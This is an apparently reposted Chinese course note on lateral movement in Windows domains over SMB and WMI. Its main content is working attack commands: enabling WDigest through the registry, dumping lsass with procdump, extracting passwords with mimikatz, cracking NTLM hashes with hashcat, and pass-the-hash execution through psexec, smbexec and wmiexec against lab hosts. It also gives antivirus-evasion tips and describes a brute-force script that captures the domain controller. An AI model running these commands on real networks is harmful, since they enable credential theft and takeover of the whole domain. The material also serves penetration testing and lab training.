Day67内网安全-域横向smb&wmi明文|哈希

Day67内网安全-域横向smb&wmi明文|哈希_第1张图片

这节课围绕着这两个协议来讲

知识点一:

Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码

Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码

在实战情况下就有可能获取不到明文密码(操作系统高关闭了wdigest,打上了补丁),

针对这种方法,我们有四种方法解决这一类问题

1,利用hash的传递攻击(pth,ptk等和利用)进行移动

2,利用其他服务协议(SMB,WMI等)进行hash移动

三四种方法是围绕怎么得到明文密码

3,利⽤注册表操作开启Wdigest Auth值进⾏获取;前提条件:权限允许

#注册表操作开启Wdigest Auth值

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d /f

换成1就是开启

4,利⽤⼯具或第三⽅平台(Hachcat)进⾏破解获取;缺点:容易被杀软杀掉

知识点二

Windows系统的LM HASH及NTLM Hash加密算法,个⼈系统在Windows vista后,服务器系统在 Windows 2003以后,认证⽅式均为NTLM Hash。

案例一Procdump+Mimikatz配合获取

建立在秘密Katz获取失败,就用到Procdump结合,Procdump放到对方服务器上面运行,

Mimikatz属于第三方软件,直接上传到目标主机可能被杀毒软件查杀,这时我们可以配合官方软件Procdump(注意:需要管理员权限),将Procdump上传目标主机获取用户信息(该文件不可读),使用本地的Mimikatz打开Procdump获取的用户信息。==》弱密码检测也可以使用此策略!

  • Procdump下载:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
  • mimikatz下载:https://github.com/gentilkiwi/mimikatz/releases

# procdump 在目标机上执行

procdump -accepteula -ma lsass.exe lsass.dmp

Day67内网安全-域横向smb&wmi明文|哈希_第2张图片

之后就在当前目录会生成一个dmp文件,这个文件dmp就是密码和hash值组成的文件,再用mimikatz把这个dmp文件载入进去,Day67内网安全-域横向smb&wmi明文|哈希_第3张图片

获取全部的密码:sekurlsa::logonPasswords full 

Day67内网安全-域横向smb&wmi明文|哈希_第4张图片

Day67内网安全-域横向smb&wmi明文|哈希_第5张图片

出来了密码

Procdump所有版本都可以运行,刚刚演示我只需要把生成的dmp文件导出来就可以用mimikatz解密,而在实战情况下,我们就只需要把Procdump上传到靶机,然后执行完把dmp文件导入本机,就可以用mimikatz破解获取密码。

可以避免mimikatz在靶机被杀软杀掉的情况

Hashcat 破解获取 Windows NTML Hash 

注意好参数就可以了,

Hashcat下载:https://github.com/hashcat/hashcat(kail自带了不用下载)

---密码破解全能工具-Hashcat密码破解攻略:

https://www.freebuf.com/sectool/164507.html

爆破命令:hashcat -a 0 -m 1000 hash file –force

-a, --attack-mode=NUM         攻击模式,其值参考后面对参数。“-a 0”字典攻击,“-a 1” 组合攻击;“-a 3”掩码攻击。(这里是字典攻击)

-m 1000指向的是NTLM Hash哈希协议

hash是要破解的哈希字符串,file为字典的地址

 案例二域横向移动 SMB 服务利用-psexec,smbexec 

  • Pstools官方工具包:
    • https://docs.microsoft.com/en-us/sysinternals/downloads/pstools
  • impacket工具包:
    • https://gitee.com/RichChigga/impacket-examples-windows
    • https://github.com/SecureAuthCorp/impacket

Pstools官方工具包

利用windows上smb'服务,利用明文或者hash进行远程执行的,条件是445端口开放

psexec是windows官方自带的工具,下载好了之后上传到靶机上面,不会被杀软杀掉,

第一种攻击,psexec,第一种使用方式,建立ipc链接,psexec需要明文或者hash进行传递

net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator

psexec \\192.168.3.32 -s cmd# 需要先有ipc链接 -s以System权限运行

就对着命令行输入就行

Day67内网安全-域横向smb&wmi明文|哈希_第6张图片

-s是指以system权限运行

psexec的第二种攻击方式,不需要建立ipc链接,直接使用明文或者hash进行传递,

psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd

Day67内网安全-域横向smb&wmi明文|哈希_第7张图片

psexec -hashes :$HASH$ ./administrator@10.1.2.3

psexec -hashes :$HASH$ domain/administrator@10.1.2.3 

psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

官方提供的软件只支持明文传输,想用hash值就要用上一个工具包,impacket,但是不是官方自带的,要做一些免杀,在工具包目录里面运行cmd,在执行这个命令,就直接用hash值传递就是system权限,Day67内网安全-域横向smb&wmi明文|哈希_第8张图片

这种就不需要建立连接,直接反弹cmd的系统权限回来,

有明文还是最好用官方的,只有hash值才用工具包

smbexec工具

第三方的工具包,要做好免杀,

无需建立ipc链接,明文或者hash值都可以传递;

smbexec god/administrator:[email protected]

god对域内主机链接,

Day67内网安全-域横向smb&wmi明文|哈希_第9张图片

前面加上god就是让他连接这个ip的的管理用户,不加god就是链接本机的管理用户

Day67内网安全-域横向smb&wmi明文|哈希_第10张图片

hash值,是箭头指向的值。

在对方打了补丁或者开启了那个东西的时候,只能获取hash指,就

建立哈希连接(sqlserver的本地管理员):

smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected] 

Day67内网安全-域横向smb&wmi明文|哈希_第11张图片

一样可以系统权限;

案例三域横向移动WMI 服务利用-cscript,wmiexec,wmic 

WMI是通过135端口进行连接的,支持用户明文或者hash指的方式进行认证,并且该方法不会在对方日志系统里面留下痕迹,更加隐蔽

第一个链接方式,自带WMI,

不会被查杀;但是需要明文密码,缺点没有回显

wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt" 

连接之后,创建cmd程序,执行ipconfig,把结果写入到c盘的1.txt文件

Day67内网安全-域横向smb&wmi明文|哈希_第12张图片

执行完成,

Day67内网安全-域横向smb&wmi明文|哈希_第13张图片

在目标主机就有ipconfig的返回结果

功能有点尴尬,还要二次看回显

自带cscript

不会被查杀,明文密码传输,有回显

但他要借助一个vbs,

wmiexec.vbs脚本下载:

https://www.secpulse.com/wp-content/uploads/2015/05/cache-a360611dc24d240989799c29c555e4b7_wmiexec-v1_1.rar 

vbs文件更好做免杀,把vbs放到同一个目录

命令;

cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345 

Day67内网安全-域横向smb&wmi明文|哈希_第14张图片

第三个impacket 套件里面的llwmiexec

支持明文或者hash指传输,有回显,有exe版本,但不是系统自带的容易被查杀,

来到工具包目录执行cmd

wmiexec ./administrator:admin!@#[email protected] "whoami"(或者"ipconfig") Day67内网安全-域横向smb&wmi明文|哈希_第15张图片

这个套件里面的就直接执行命令

hash指链接

wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected] "whoami"

Day67内网安全-域横向smb&wmi明文|哈希_第16张图片

案例四域横向移动以上服务 hash 批量利用-python 编译 exe

总体思路,我们

Day67内网安全-域横向smb&wmi明文|哈希_第17张图片

我们现在是有web服务器权限的权限,通过这个外网ip入侵成功,拿下了这台主机的权限,然后攻击域里面别的主机。

第一步进行信息探针

域用户的信息

域用户的凭据信息收集

探针域内存活主机及其信息

这些都收集完之后,有明文密码也有hash值,利用这些明文和hash值,利用脚本实现批量的爆破, 然后利用成功的hash值执行命令,继续手机用户凭据信息。

在第一台web服务器里,收集到的账户密码和hash值

之后进行ip地址的探针,用自带的命令进行探针

Day67内网安全-域横向smb&wmi明文|哈希_第18张图片

收集好的ip地址写在文档里

在将收集好的域用户名字收集起来,net user /domain

Day67内网安全-域横向smb&wmi明文|哈希_第19张图片

本地登陆的原因,不会收到的域控的管理,不然安装东西,上传脚本都会受到域里的限制

这里前提条件苛刻一些,没有收集到明文密码,只收集到了hash值,

然后写一个pthon的爆破脚本,打包成exe,然后上传到肉鸡上面执行他,然后失败了,没有一个链接成功的,遇见这种情况之后,在脚本里面多写一条命令,写一条登录本地用户组的命令,

Day67内网安全-域横向smb&wmi明文|哈希_第20张图片

在上传上去,

Day67内网安全-域横向smb&wmi明文|哈希_第21张图片

有一条成功了,

就扽古这个192.168.3.29的主机可以拿下,那个这个肉鸡之后,继续用mimikatz获取到用户凭据密码信息,

然后就可以把密码信息更新一下,在利用脚本爆破

Day67内网安全-域横向smb&wmi明文|哈希_第22张图片

又成功了一个,192.168.3.21,域控主机,拿下域控主机就等于拿下了全部主机,

fa

cai

你可能感兴趣的:(安全)